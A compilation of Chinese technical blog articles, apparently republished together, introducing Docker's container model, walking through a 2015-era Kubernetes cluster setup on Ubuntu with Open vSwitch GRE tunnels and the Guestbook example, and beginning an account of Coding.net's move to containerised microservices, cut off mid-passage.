GitHub 上面每天都会催生出各式各样的工具、形态各异的语言和千奇百怪的概念。如果你和我一样，没有时间去把他们全部都测试一遍，甚至没有时间去亲自测试 Docker，那么你可以看一下我的这篇文章：我将会用我们在 Docker 中总结的经验来告诉你什么是 Docker、为什么 Docker 会这么火。


Docker 是容器管理工具


Docker 是一个轻量级、便携式、与外界隔离的容器，也是一个可以在容器中很方便地构建、传输、运行应用的引擎。和传统的虚拟化技术不同的是，Docker 引擎并不虚拟出一台虚拟机，而是直接使用宿主机的内核和硬件，直接在宿主机上运行容器内应用。也正是得益于此，Docker 容器内运行的应用和宿主机上运行的应用性能差距几乎可以忽略不计。


但是 Docker 本身并不是一个容器系统，而是一个基于原有的容器化工具 LXC 用来创建虚拟环境的工具。类似 LXC 的工具已经在生产环境中使用多年，Docker 则基于此提供了更加友好的镜像管理工具和部署工具。


Docker 不是虚拟化引擎


Docker 第一次发布的时候，很多人都拿 Docker 和虚拟机 VMware、KVM 和 VirtualBox 比较。尽管从功能上看，Docker 和虚拟化技术致力于解决的问题都差不多，但是 Docker 却是采取了另一种非常不同的方式。虚拟机是虚拟出一套硬件，虚拟机的系统进行的磁盘操作，其实都是在对虚拟出来的磁盘进行操作。当运行 CPU 密集型的任务时，是虚拟机把虚拟系统里的 CPU 指令“翻译”成宿主机的CPU指令并进行执行。两个磁盘层，两个处理器调度器，两个操作系统消耗的内存，所有虚拟出的这些都会带来相当多的性能损失，一台虚拟机所消耗的硬件资源和对应的硬件相当，一台主机上跑太多的虚拟机之后就会过载。而 Docker 就没有这种顾虑。Docker 运行应用采取的是“容器”的解决方案：使用 namespace 和 CGroup 进行资源限制，和宿主机共享内核，不虚拟磁盘，所有的容器磁盘操作其实都是对 /var/lib/docker/ 的操作。简言之，Docker 其实只是在宿主机中运行了一个受到限制的应用程序。


从上面不难看出，容器和虚拟机的概念并不相同，容器也并不能取代虚拟机。在容器力所不能及的地方，虚拟机可以大显身手。例如：宿主机是 Linux，只能通过虚拟机运行 Windows，Docker 便无法做到。再例如，宿主机是 Windows，Windows 并不能直接运行 Docker，Windows上的 Docker 其实是运行在 VirtualBox 虚拟机里的。


Docker 使用层级的文件系统


前面提到过，Docker 和现有容器技术 LXC 等相比，优势之一就是 Docker 提供了镜像管理。对于 Docker 而言，镜像是一个静态的、只读的容器文件系统的快照。然而不仅如此，Docker 中所有的磁盘操作都是对特定的Copy-On-Write文件系统进行的。下面通过一个例子解释一下这个问题。


例如我们要建立一个容器运行 JAVA Web 应用，那么我们应该使用一个已经安装了 JAVA 的镜像。在 Dockerfile（一个用于生成镜像的指令文件）中，应该指明“基于 JAVA 镜像”，这样 Docker 就会去 Docker Hub Registry 上下载提前构建好的 JAVA 镜像。然后再 Dockerfile 中指明下载并解压 Apache Tomcat 软件到 /opt/tomcat 文件夹中。这条命令并不会对原有的 JAVA 镜像产生任何影响，而仅仅是在原有镜像上面添加了一个改动层。当一个容器启动时，容器内的所有改动层都会启动，容器会从第一层中运行 /usr/bin/java 命令，并且调用另外一层中的 /opt/tomcat/bin 命令。实际上，Dockerfile 中每一条指令都会产生一个新的改动层，即便只有一个文件被改动。如果用过 Git 就能更清楚地认识这一点，每条指令就像是每次 commit，都会留下记录。但是对于 Docker 来说，这种文件系统提供了更大的灵活性，也可以更方便地管理应用程序。


我们Spantree的团队有一个自己维护的含有 Tomcat 的镜像。发布新版本也非常简单：使用 Dockerfile 将新版本拷贝进镜像从而创建一个新镜像，然后给新镜像贴上版本的标签。不同版本的镜像的不同之处仅仅是一个 90 MB 大小的 WAR 文件，他们所基于的主镜像都是相同的。如果使用虚拟机去维护这些不同的版本的话，还要消耗掉很多不同的磁盘去存储相同的系统，而使用 Docker 就只需要很小的磁盘空间。即便我们同时运行这个镜像的很多实例，我们也只需要一个基础的 JAVA / TOMCAT 镜像。


Docker 可以节约时间


很多年前我在为一个连锁餐厅开发软件时，仅仅是为了描述如何搭建环境都需要写一个 12 页的 Word 文档。例如本地 Oracle 数据库，特定版本的 JAVA，以及其他七七八八的系统工具和共享库、软件包。整个搭建过程浪费掉了我们团队每个人几乎一天的时间，如果用金钱衡量的话，花掉了我们上万美金的时间成本。虽然客户已经对这种事情习以为常，甚至认为这是引入新成员、让成员适应环境、让自己的员工适应我们的软件所必须的成本，但是相比较起来，我们宁愿把更多的时间花在为客户构建可以增进业务的功能上面。


如果当时有 Docker，那么构建环境就会像使用自动化搭建工具 Puppet / Chef / Salt / Ansible 一样简单，我们也可以把整个搭建时间周期从一天缩短为几分钟。但是和这些工具不同的地方在于，Docker 可以不仅仅可以搭建整个环境，还可以将整个环境保存成磁盘文件，然后复制到别的地方。需要从源码编译 Node.js 吗？Docker 做得到。Docker 不仅仅可以构建一个 Node.js 环境，还可以将整个环境做成镜像，然后保存到任何地方。当然，由于 Docker 是一个容器，所以不用担心容器内执行的东西会对宿主机产生任何的影响。


现在新加入我们团队的人只需要运行 docker-compose up 命令，便可以喝杯咖啡，然后开始工作了。


Docker 可以节省开销


当然，时间就是金钱。除了时间外，Docker 还可以节省在基础设施硬件上的开销。高德纳和麦肯锡的研究表明，数据中心的利用率在 6% - 12% 左右。不仅如此，如果采用虚拟机的话，你还需要被动地监控和设置每台虚拟机的 CPU 硬盘和内存的使用率，因为采用了静态分区(static partitioning)所以资源并不能完全被利用。。而容器可以解决这个问题：容器可以在实例之间进行内存和磁盘共享。你可以在同一台主机上运行多个服务、可以不用去限制容器所消耗的资源、可以去限制资源、可以在不需要的时候停止容器，也不用担心启动已经停止的程序时会带来过多的资源消耗。凌晨三点的时候只有很少的人会去访问你的网站，同时你需要比较多的资源执行夜间的批处理任务，那么可以很简单的便实现资源的交换。


虚拟机所消耗的内存、硬盘、CPU 都是固定的，一般动态调整都需要重启虚拟机。而用 Docker 的话，你可以进行资源限制，得益于 CGroup，可以很方便动态调整资源限制，让然也可以不进行资源限制。Docker 容器内的应用对宿主机而言只是两个隔离的应用程序，并不是两个虚拟机，所以宿主机也可以自行去分配资源。


Docker 有一个健壮的镜像托管系统


前面提到过，这个托管系统就叫做 Docker Hub Registry。截止到 2015年4月29日，互联网上大约有 14000 个公共的 Docker，而大部分都被托管在 Docker Hub 上面。和 Github 已经很大程度上成为开源项目的代表一样，Docker 官方的 Docker Hub 则已经是公共 Docker 镜像的代表。这些镜像可以作为你应用和数据服务的基础。


也正是得益于此，你可以随意尝试最新的技术：说不定有些人就把图形化数据库的实例打包成了 Docker 镜像托管在上面。再例如 Gitlab，手工搭建 Gitlab 非常困难，译者不建议普通用户去手工搭建，而如果使用 Docker Gitlab，这个镜像则会五秒内便搭建完成。再例如特定 Ruby 版本的 Rails 应用，再例如 Linux 上的 .NET 应用，这些都可以使用简单的一条 Docker 命令搭建完成。



  Docker 官方镜像都有 official 标签，安全性可以保证。但是第三方镜像的安全性无法保证，所以请谨慎下载第三方镜像。生产环境下可以只使用第三方提供的 Dockerfile 构建镜像。

  
  Docker Github 介绍：5 秒内搞定一个 Gitlab

  
  关于 Linux 上的 .NET 应用和 Rails 应用，将会在以后的文章中做详细介绍。




Docker 可以避免产生 Bug


Spantree 一直是“固定基础设置”（immutable infrastructure）的狂热爱好者。换句话说，除非有心脏出血这种漏洞，我们尽量不对系统做升级，也尽量不去改变系统的设置。当添加新服务器的时候，我们也会从头构建服务器的系统，然后直接将镜像导入，将服务器放入负载均衡的集群里，然后对要退休的服务器进行健康检查，检查完毕后移除集群。得益于 Docker 镜像可以很轻松的导入导出，我们可以最大程度地减少因为环境和版本问题导致的不兼容，即便有不兼容了也可以很轻松地回滚。当然，有了 Docker，我们在生产、测试和开发中的运行环境得到统一。以前在协同开发时，会因为每个人开发的电脑配置不同而导致“在我的电脑上是能运行的，你的怎么不行”的情况，而如今 Docker 已经帮我们解决了这个问题。


Docker 目前只能运行在 Linux 上


前面也提到过，Docker 使用的是经过长时间生产环境检验的技术，虽然这些技术已经都出现很长时间了，但是大部分技术都还是 Linux 独有的，例如 LXC 和 Cgroup。也就是说，截止到现在，Docker 容器内只能在 Linux 上运行 Linux 上的服务和应用。Microsoft 正在和 Docker 紧密合作，并且已经宣布了下一个版本的 Windows Server 将会支持 Docker 容器，并且命名为 Windows Docker，估计采用的技术应该是Hyper-V Container，我们有望在未来的几年内看到这个版本。


除此之外，类似 boot2docker 和 Docker Machine 这种工具已经可以让我们在 Mac 和 Windows 下通过虚拟机运行 Docker 了。


后记


悄悄的说一句，前文中提到的 Docker 安装、Docker 操作、Dockerfile、Docker Hub、搭建 Rails 环境、甚至搭建 .NET 环境，SegmentFault 正在组织编写相关的文档，欢迎关注我们，及时获取更多最新的教程。


 在ubuntu上部署Kubernetes管理docker集群示例

作者：seanlook

来源： 在ubuntu上部署Kubernetes管理docker集群示例



                    
本文通过实际操作来演示Kubernetes的使用，因为环境有限，集群部署在本地3个ubuntu上，主要包括如下内容：



	部署环境介绍，以及Kubernetes集群逻辑架构

	安装部署Open vSwitch跨机器容器通信工具

	安装部署Etcd和Kubernetes的各大组件

	演示Kubernetes管理容器和服务



关于 Kubernetes 系统架构及组件介绍见这里。


1. 部署环境及架构



	vSphere: 5.1

	操作系统: ubuntu 14.04 x86_64

	Open vSwith版本: 2.0.2

	Kubernetes: v0.7.2

	Etcd版本: 2.0.0-rc.1

	Docker版本: 1.4.1

	服务器信息：





	Role
  	Hostname
  	IP Address





	APIServer
  	kubernetes
  	172.29.88.206



	Minion
  	minion1
  	172.29.88.207



	Minion
  	minion2
  	172.29.88.208





在详细介绍部署Kubernetes集群前，先给大家展示下集群的逻辑架构。从下图可知，整个系统分为两部分，第一部分是Kubernetes APIServer，是整个系统的核心，承担集群中所有容器的管理工作；第二部分是minion，运行Container Daemon，是所有容器栖息之地，同时在minion上运行Open vSwitch程序，通过GRE Tunnel负责minions之间Pod的网络通信工作。





2. 安装Open vSwitch及配置GRE


为了解决跨minion之间Pod的通信问题，我们在每个minion上安装Open vSwtich，并使用GRE或者VxLAN使得跨机器之间P11od能相互通信，本文使用GRE，而VxLAN通常用在需要隔离的大规模网络中。对于Open vSwitch的介绍请参考另一篇文章Open vSwitch。


sudo apt-get install openvswitch-switch bridge-utils



安装完Open vSwitch和桥接工具后，接下来便建立minion0和minion1之间的隧道。首先在minion1和minion2上分别建立OVS Bridge：


# ovs-vsctl add-br obr0



接下来建立gre，并将新建的gre0添加到obr0，在minion1上执行如下命令：


# ovs-vsctl add-port obr0 gre0 -- set Interface gre0 type=gre options:remote_ip=172.29.88.208



上面的remoute_ip是另一台服务minion2上的对外IP。


在minion2上执行：


# ovs-vsctl add-port obr0 gre0 -- set Interface gre0 type=gre options:remote_ip=172.29.88.207



至此，minion1和minion2之间的隧道已经建立。然后我们在minion1和minion2上创建Linux网桥kbr0替代Docker默认的docker0（我们假设minion1和minion2都已安装Docker），设置minion1的kbr0的地址为172.17.1.1/24， minion2的kbr0的地址为172.17.2.1/24，并添加obr0为kbr0的接口，以下命令在minion1和minion2上执行：


# brctl addbr kbr0              //创建linux bridge代替docker0
# brctl addif kbr0 obr0         //添加obr0为kbr0的接口

# ip link set dev docker0 down  //设置docker0为down状态
# ip link del dev docker0       //删除docker0，可选



查看这些接口的状态：


# service openvswitch-switch status
# ovs-vsctl show
9d248403-943c-41c0-b2d0-3f9b130cdd3f
    Bridge "obr0"
        Port "gre0"
            Interface "gre0"
                type: gre
                options: {remote_ip="172.29.88.207"}
        Port "obr0"
            Interface "obr0"
                type: internal
    ovs_version: "2.0.2"

# brctl show
bridge name bridge id       STP enabled interfaces
docker0     8000.56847afe9799   no      
kbr0        8000.620ff7ee9c49   no      obr0



为了使新建的kbr0在每次系统重启后任然有效，我们在minion1的/etc/network/interfaces文件中追加内容如下：（在CentOS上会有些不一样）


# vi /etc/network/interfaces
auto kbr0
iface kbr0 inet static
        address 172.17.1.1
        netmask 255.255.255.0
        gateway 172.17.1.0
        dns-nameservers 172.31.1.1



同样在minion2上追加类似内容，只需修改address为172.17.2.1和gateway为172.17.2.0即可，然后执行ip link set dev kbr0 up，你能在minion1和minion2上发现kbr0都设置了相应的IP地址。为了验证我们创建的隧道是否能通信，我们在minion1和minion2上相互ping对方kbr0的IP地址，从下面的结果发现是不通的，经查找这是因为在minion1和minion2上缺少访问172.17.1.1和172.17.2.1的路由，因此我们需要添加路由保证彼此之间能通信：


minion1上执行:
# ip route add 172.17.2.0/24 via 172.29.88.208 dev eth0

minion2上执行:
# ip route add 172.17.1.0/24 via 172.29.88.207 dev eth0



现在可以ping通对方的虚拟网络了：


$ ping 172.17.2.1
PING 172.17.2.1 (172.17.2.1) 56(84) bytes of data.
64 bytes from 172.17.2.1: icmp_seq=1 ttl=64 time=0.334 ms
64 bytes from 172.17.2.1: icmp_seq=2 ttl=64 time=0.253 ms
^C
--- 172.17.2.1 ping statistics ---
2 packets transmitted, 2 received, 0% packet loss, time 999ms
rtt min/avg/max/mdev = 0.253/0.293/0.334/0.043 ms



下面安装 Kubernetes APIServer 及kubelet、proxy等服务。


3. 安装Kubernetes APIServer


3.1 下载安装kubernetes各组件


可以自己从源码编译kubernetes（需要安装golang环境），也可以从GitHub Kubernetes repo release page.选择编译好的二进制版本（v0.7.2）下载，为了方便后面启动或关闭kubernetes组件，我们同时下载二进制包和源码包：


# cd /usr/local/src
# wget https://github.com/coreos/etcd/releases/download/v2.0.0-rc.1/etcd-v2.0.0-rc.1-linux-amd64.tar.gz
# wget https://github.com/GoogleCloudPlatform/kubernetes/releases/download/v0.7.2/kubernetes.tar.gz
# wget https://github.com/GoogleCloudPlatform/kubernetes/archive/v0.7.2.zip



然后解压下载的kubernetes和etcd包，并在kubernetes(minion1)、minion2上创建目录/opt/bin


# mkdir /opt/bin        //这一步APIserver和所有minions上都要创建

解压kubernetes
src# tar xf kubernetes.tar.gz
# ll 
drwxr-xr-x  3  501 staff     4096 Dec 19 02:32 etcd-v2.0.0-rc.1-linux-amd64/
-rw-r--r--  1 root root   6223584 Jan  6 14:39 etcd-v2.0.0-rc.1-linux-amd64.tar.gz
drwxr-xr-x  7 root root      4096 Nov 20 06:35 kubernetes/
-rw-r--r--  1 root root  82300483 Jan  6 14:37 kubernetes.tar.gz
-rw-r--r--  1 root root  9170754 Jan  9 14:47 v0.7.2.zip

# cd kubernetes/server
# tar xf kubernetes-server-linux-amd64.tar.gz
# cd kubernetes/server/bin/

APIserver本身需要的是kube-apiserver kube-scheduler kube-controller-manager kubecfg四个
# cp -a kube* /opt/bin/

把proxy和kubelet复制到其他minions，确保这些文件都是可执行的
# scp kube-proxy kubelet root@172.29.88.207:/opt/bin
# scp kube-proxy kubelet root@172.29.88.208:/opt/bin



/opt/bin并没有加入系统PATH，所以kube-apiserver -version是看不到结果，但在后面配置的服务中会自动加入（PATH=$PATH:/opt/bin）。


3.2 解压安装etcd


etcd在这里的作用是服务发现存储仓库，通俗的来讲就是记录kubernetes启动了多少pods、services、replicationController以及它们的信息等，详细介绍见这里。此外版本2.0与v0.4.6在启动参数上的写法有一定差别。


# tar xf etcd-v2.0.0-rc.1-linux-amd64.tar.gz && cd etcd-v2.0.0-rc.1-linux-amd64/
# cp -a etcd etcdctl /opt/bin



3.3 配置kube-apiserver等为upstart脚本启动


这一步主要是为了管理kube-apiserver等进程的方便，避免每次都手动启动各服务、添加冗长的启动参数选项，而且在不同的系统平台下kubernetes已经提供了相应的工具。


解压kubernetes*源码包*
src# unzip xf v0.7.2.zip && cd kubernetes-0.7.2

这里比较奇怪的是最新release版本源码的cluster目录下是有ubuntu子目录的，但latest之前的下载后没有ubuntu目录
# cd cluster/ubuntu
# ll
.. 2 root root 4096 Jan  8 17:39 default_scripts/   各组件默认启动参数
.. 2 root root 4096 Jan  8 17:39 init_conf/         upstart启动方式
.. 2 root root 4096 Jan  8 17:39 initd_scripts/     service启动方式，与upstart选其一
.. 1 root root 1213 Jan  8 08:53 util.sh*     

# ./util.sh



util.sh脚本就是把当前目录下的service/upstart脚本、默认参数配置文件复制到/etc下，可以通过service etcd start的形式管理kubernetes。由于kubernetes更新速度极快，项目的文件和目录结构经常变化，请找准文件。接下来我们需要修改那些只适合本机使用的默认参数。（请注意备份先，因为后面能否正常跨机器管理docker与这些选项有关，特别是IP）


etcd官方建议使用新的2379端口代替4001
# vi /etc/default/etcd
ETCD_OPTS="-listen-client-urls=http://0.0.0.0:4001"

# vi /etc/default/kube-apiserver
KUBE_APISERVER_OPTS="--address=0.0.0.0 \
--port=8080 \
--etcd_servers=http://127.0.0.1:4001 \
--logtostderr=true \
--portal_net=11.1.1.0/24"

# vi /etc/default/kube-scheduler
KUBE_SCHEDULER_OPTS="--logtostderr=true \
--master=127.0.0.1:8080"

# vi /etc/default/kube-controller-manager
KUBE_CONTROLLER_MANAGER_OPTS="--master=127.0.0.1:8080 \
--machines=172.29.88.207,172.29.88.208 \
--logtostderr=true"


* 复制kubelet、kube-proxy等到minion1：
# scp /etc/default/{kubelet,kube-proxy} 172.29.88.207:/etc/default/
# scp /etc/init.d/{kubelet,kube-proxy} 172.29.88.207:/etc/init.d/
# scp /etc/init/{kubelet.conf,kube-proxy.conf} 172.29.88.207:/etc/init/



* 在minion1端进行
# vi /etc/default/kubelet
KUBELET_OPTS="--address=172.29.88.207 \
--port=10250 \
--hostname_override=172.29.88.207 \
--etcd_servers=http://172.29.88.206:4001 \
--logtostderr=true"

# vi /etc/default/kube-proxy
KUBE_PROXY_OPTS="--etcd_servers=http://172.29.88.207:4001 \
--logtostderr=true"

(对minion2重复上面 * 两个步骤，把上面.207改成.208)



上面的各配置文件就是对应命令的选项，具体含义使用-h。这里只简单说明：



	
etcd服务APIserver和minions都要访问，也就是其他组件的--etcd_servers值（带http前缀）

	
kube-apiserver监听在8080端口，也就是其他组件的--master值；--portal_net地址段不能与docker的桥接网卡kbr0重复，指定docker容器的IP段

	
etcd、kube-apiserver、kube-scheduler、kube-controller-manager运行在apiserver（服务）端，kubelet、kube-proxy运行在minion（客户端）

	
kube-controller-manager使用预先定义pod模板创建pods，保证指定数量的replicas在运行，默认监听在master的127.0.0.1:10252

	
kubelet默认监听端口10250，也正是apiserver的--kubelet_port的值



3.4 启动


重启docker

接下来重启minion1、minion2上的Docker daemon（注意使用的网桥）：


# docker -d -b kbr0



由于后面的测试可能需要在线下载images，所以如果你的服务器无法访问docker hub，上面启动时记得设置HTTP_PROXY代理。


启动apiserver


# service etcd start
# service kube-apiserver start



kube-apiserver启动后会自动运行kube-scheduler、kube-controller-manager，但修改配置后依然可以单独重启各个服务如service kube-contoller-manager restart。这些服务的日志可以从/var/log/upstart/kube*找到。


在minion1、minion2上启动kubelet、kube-proxy：


# service kubelet start
# service kube-proxy start



4. 使用kubecfg部署测试应用


为了方便，我们使用Kubernetes提供的例子Guestbook（下载的源码example目录下可以找到）来演示Kubernetes管理跨机器运行的容器，下面我们根据Guestbook的步骤创建容器及服务。在下面的过程中如果是第一次操作，可能会有一定的等待时间，状态处于pending，这是因为第一次下载images需要一段时间。


4.1 创建redis-master Pod和redis-master服务


配置管理操作都在apiserver上执行，并且都是基于实现编写好的json格式。涉及到下载docker镜像的部分，如果没有外网，可能需要修改image的值或使用自己搭建的docker-registry：


# cd kubernetes-0.7.2/examples/guestbook/
# cat redis-master.json
{
  "id": "redis-master",
  "kind": "Pod",
  "apiVersion": "v1beta1",
  "desiredState": {
    "manifest": {
      "version": "v1beta1",
      "id": "redis-master",
      "containers": [{
        "name": "master",
        "image": "dockerfile/redis",
        "cpu": 100,
        "ports": [{
          "containerPort": 6379,
          "hostPort": 6379
        }]
      }]
    }
  },
  "labels": {
    "name": "redis-master"
  }
}

# kubecfg -h http://172.29.88.206:8080 -c redis-master.json create pods
# kubecfg -h http://172.29.88.206:8080 -c redis-master-service.json create services



完成上面的操作后，我们可以看到如下redis-master Pod被调度到172.29.88.207：

（下面直接list实际上是省略了-h http://127.0.0.1:8080）


# kubecfg list pods
Name             Image(s)            Host               Labels              Status
----------       ----------          ----------         ----------          ----------
redis-master     dockerfile/redis    172.29.88.207/     name=redis-master   Running

查看services：
# kubecfg list services
Name            Labels                                    Selector            IP            Port
----------      ----------                                ----------          ----------    ------
kubernetes      component=apiserver,provider=kubernetes                       11.1.1.233    443
kubernetes-ro   component=apiserver,provider=kubernetes                       11.1.1.204    80
redis-master    name=redis-master                         name=redis-master   11.1.1.175    6379



发现除了redis-master的服务之外，还有两个Kubernetes系统默认的服务kubernetes-ro和kubernetes。而且我们可以看到每个服务都有一个服务IP及相应的端口，对于服务IP，是一个虚拟地址，根据apiserver的portal_net选项设置的CIDR表示的IP地址段来选取，在我们的集群中设置为11.1.1.0/24。为此每新创建一个服务，apiserver都会在这个地址段中随机选择一个IP作为该服务的IP地址，而端口是事先确定的。对redis-master服务，其服务地址为11.1.1.175，端口为6379，与minion主机映射的端口也是6379。


4.2 创建redis-slave Pod和redis-slave服务


# kubecfg -h http://172.29.88.206:8080 -c redis-slave-controller.json create replicationControllers
# kubecfg -h http://172.29.88.206:8080 -c redis-slave-service.json create services



注意上面的redis-slave-controller.json有个"replicas": 2、"hostPort": 6380，因为我们的集群中只有2个minions，如果为3的话，就会导致有2个Pod会调度到同一台minion上，产生端口冲突，有一个Pod会一直处于pending状态，不能被调度（可以通过日志看到原因）。


# kubecfg list pods
Name                 Image(s)                     Host             Labels                                       Status
----------           ----------                   ----------       ----------                                   --------
2c2a06...c2971614d   brendanburns/redis-slave     172.29.88.208/   name=redisslave,uses=redis-master            Running
2c2ad5...c2971614d   brendanburns/redis-slave     172.29.88.207/   name=redisslave,uses=redis-master            Running
redis-master         dockerfile/redis             172.29.88.207/   name=redis-master                            Running

# kubecfg list services
Name              Labels                                    Selector            IP                  Port
----------        ----------                                ----------          ----------          --------
kubernetes        component=apiserver,provider=kubernetes                       11.1.1.233          443
kubernetes-ro     component=apiserver,provider=kubernetes                       11.1.1.204          80
redis-master      name=redis-master                         name=redis-master   11.1.1.175          6379
redisslave        name=redisslave                           name=redisslave     11.1.1.131          6379



4.3 创建Frontend Pod和Frontend服务


前面2步都是guestbook的redis数据存储，现在部署应用：(修改frontend-controller.json的replicas为2)


# kubecfg -h http://172.29.88.206:8080 -c frontend-controller.json create replicationControllers
# kubecfg -h http://172.29.88.206:8080 -c frontend-service.json create services



# kubecfg -h http://172.29.88.206:8080 list pods
Name                 Image(s)                                 Host              Labels                                       Status
----------           ----------                               ----------        ----------                                   ----------
2c2a06...c2971614d   brendanburns/redis-slave                 172.29.88.208/    name=redisslave,uses=redis-master            Running
2c2ad5...c2971614d   brendanburns/redis-slave                 172.29.88.207/    name=redisslave,uses=redis-master            Running
d87744...c2971614d   kubernetes/example-guestbook-php-redis   172.29.88.207/    name=frontend,uses=redisslave,redis-master   Running
redis-master         dockerfile/redis                         172.29.88.207/    name=redis-master                            Running
1370b9...c2971614d   kubernetes/example-guestbook-php-redis   172.29.88.208/    name=frontend,uses=redisslave,redis-master   Running

# kubecfg -h http://172.29.88.206:8080 list services
Name             Labels                                    Selector            IP            Port
----------       ----------                                ----------          ----------    ------
redis-master     name=redis-master                         name=redis-master   11.1.1.175    6379
redisslave       name=redisslave                           name=redisslave     11.1.1.131    6379
frontend         name=frontend                             name=frontend       11.1.1.124    80
kubernetes       component=apiserver,provider=kubernetes                       11.1.1.233    443
kubernetes-ro    component=apiserver,provider=kubernetes                       11.1.1.204    80

<pre><code>通过查看可知 Frontend Pod 也被调度到两台minion，服务IP为11.1.1.124，端口是80，映射到外面minions的端口为8000（可以通过`ps -ef|grep docker-proxy`发现）。

### 4.4 其他操作（更新、删除、查看） ##
**删除**
除此之外，你可以删除Pod、Service，如删除minion1上的redis-slave Pod：

    kubecfg -h http://172.29.88.206:8080 delete pods/2c2ad505-96fd-11e4-9c0b-000c2971614d
    Status
    ----------
    Success

格式为`services/服务Name`、`pods/pods名字`，不必关心从哪个minion上删除了。需要提醒的是，这里pods的replcas为2，所以即使删除了这个pods，kubernetes为自动为你重新启动一个。

**更新**
更新ReplicationController的Replicas数量：
</code></pre>

# kubecfg list replicationControllers
Name                   Image(s)                                 Selector            Replicas
----------             ----------                               ----------          ----------
frontendController     kubernetes/example-guestbook-php-redis   name=frontend       2
redisSlaveController   brendanburns/redis-slave                 name=redisslave     2

<pre><code>把frontendController的Replicas更新为1，则这行如下命令，然后再通过上面的命令查看frontendController信息，发现Replicas已变为1：

    kubecfg -h http://172.29.88.206:8080 resize frontendController 1

**查看**
Kubernetes内置提供了一个简单的UI来查看pods、services、replicationControllers，但极其简陋，暂时可以忽略，访问`http://172.29.88.206:8080/static/#/groups//selector/`：
![kubernetes-simpleui][5]

在浏览器访问api：`http://172.29.88.206:8080/api/v1beta1/replicationControllers` 。
![kubernetes-api][2]

etcd做服务发现，可以通过api访问其内容，访问`http://172.29.88.206:4001/v2/keys/registry/services/endpoints/default` ，得到json格式数据。

### 4.5 演示guestbook ##
通过上面的结果可知当前提供前端服务的PHP和提供数据存储的后端服务Redis master的Pod分别运行在172.29.88.208和172.29.88.207上，即容器运行在不同主机上，还有Redis slave也运行在两台不同的主机上，它会从Redis master同步前端写入Redis master的数据。下面我们从两方面验证Kubernetes能提供跨机器间容器的通信：

**浏览器访问留言簿**
在浏览器打开`http://${IPAddress}:8000`，IPAddress为PHP容器运行的minion的IP地址，其暴漏的端口为8000，这里IP_Address为172.29.88.208。打开浏览器会显示如下信息：
![kubernetes-guestbook1][3]

你可以输入信息并提交，然后Submit按钮下方会显示你输入的信息：
![kubernetes-guestbook2][4]
由于前端PHP容器和后端Redis master容器分别在两台minion上，因此PHP在访问Redis master服务时一定得跨机器通信，可见Kubernetes的实现方式避免了用link只能在同一主机上实现容器间通信的缺陷。

**从redis后端验证**
我们从后端数据层验证不同机器容器间的通信。根据上面的输出结果发现Redis slave和Redis master分别调度到两台不同的minion上，在172.29.88.207主机上执行`docker exec -ti e5941db7e424 /bin/sh`，e5941db7e424 master的容器ID（`docker ps`），进入容器后通过redis-cli命令查看从浏览器输入的信息如下：
</code></pre>

# docker exec -ti e5941db7e424 /bin/sh
# redis-cli
127.0.0.1:6379> keys *
1) "messages"
127.0.0.1:6379> get messages
",Hi, Sean,Kubernetes,,llll,abc,\xef\xbf\xbd\xef\xbf\xbd\xef\xbf\xbd\xd4\xb0\xef\xbf\xbd,sync info,"



类似可以在172.29.88.208的redis-slave上看到同样的内容。由此可见Redis master和Redis slave之间数据同步正常，OVS GRE隧道技术使得跨机器间容器正常通信。


4.6 排错提示



	所有的kubelet必须起来，否则报错F0319 16:56:08.058335    9960 kubecfg.go:438] Got request error: The requested resource does not exist.


	必须使用-b启动docker，否则无法访问8000端口，redis-slave也没同步

	注意pods一直处于Pending或Failed状态时去apiserver或其他组件日志里查看错误，是否是由于端口绑定冲突导致。
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Docker 自发布以来，它的影响力不容小觑，目前已经在整个行业甚至于许多大企业都得到实际的应用案例以及支持。Coding.net 作为一个创业公司，大量采用了微服务架构解耦系统，在提高开发效率的同时也引入了不少新的问题。今天在这里跟大家分享一下我们是如何采用 Docker 技术在内部推行生产环境容器化，代码化，自动化的。


微服务架构


从2014年上线到如今，Coding.net 已经由早期的一个 Java war 发展成为一个系统结构复杂，独立模块很多的大型分布式程序。网站的每个小功能，比如说 GIT 协议处理、Repo 信息读取（网页展示）、Push 动态、邮件通知等等都作为一个个微型服务在云上运行，互相通过 API /  RPC 调用充分解耦，互不侵入，接口明确。 采用微服务架构设计的原因很简单：解放生产力。传统 Java 基于 Application Server 的开发模型下，AS确实提供了很多运行时服务，很多功能都可以在其中实现，但是这也带来了 AS 负担过重，组件隔离性不强的问题。AS 运行时服务缺少标准，各类实现区别很大，调试困难程度不一，集成测试更是难上加难。


在这种环境下，松耦合的实际是非常可行的提高团队生产力的方案。放开手脚让小朋友们自己选择合适的程序包装方式，实现语言。小伙伴们更进一步的互相提供 Mock/Stub 帮助集成测试及单元测试，极大的释放了团队生产力。


容器化


经历了早期野蛮式、爆发式的服务拆分后，Coding.net 不可避免的面临着生产环境中越来越高的复杂度问题。早期 Coding.net 的部署方式简单，一个 War 包拖入合适位置，网站就完全更新了。拆分后，变成了三五个小服务跑在十几台虚拟机上的问题。同时这三五个小服务又分别使用不同技术实现，有的是 Jar 文件运行，有的采用 Jetty+war 或者 Tomcat +war 。一批小伙伴用 Go 重写了一部分服务，还有几个小伙伴采用 Ruby 重构了另外一个核心功能。如此一来，生产环境的压力可想而知。每个组件的编译方式各不相同，启动方式和配置方式更是天差地别，甚至有好几个组件就是源代码直接运行。运维同学不光要记住所有组件的运行位置、编译方法，更要记住配置方式、依赖模型，压力山大！同时，某一天大家突然发现，我们再也不能把整个 Coding.net 在机器上跑起来了，因为谁也不知道如何才能正确安装配置各种依赖服务。


为了解决这些问题， 我们最终采用了 Docker container 技术来降低生产环境的复杂度。有个比喻很形象，Docker 把程序装进了盒子里，每个 Docker 镜像包含了完整的程序代码，运行时状态，而且有一个标准的启动接口。不管小伙伴设计的牛X程序多复杂，一个 docker run 也能把他正常运行起来。同时 Docker 还带来了版本化的集成，从此告别了不知道运行什么版本代码的问题。


代码化


应用程序装进盒子后，我们还面临着盒子在哪里运行的问题。非常实在的说十几个 Container 和十几台VM 存在着比较复杂的对应关系，原因是很现实的：设计之初程序之间的 RPC 是依靠主机 DNS 地址互相通信的，就算装进了盒子里，盒子也不能轻易挪动。如果挪动盒子A，可能涉及到更改盒子B、C、D的配置。所以实际上 Explicit knowledge 在小伙伴的日常工作里变成了非常严重的问题。 这个问题的解决之道就是将依赖关系代码化。服务之间关联复杂不要紧，只要我们把各种依赖关系变成代码，计算机可以帮助自动处理相当一部分的工作。


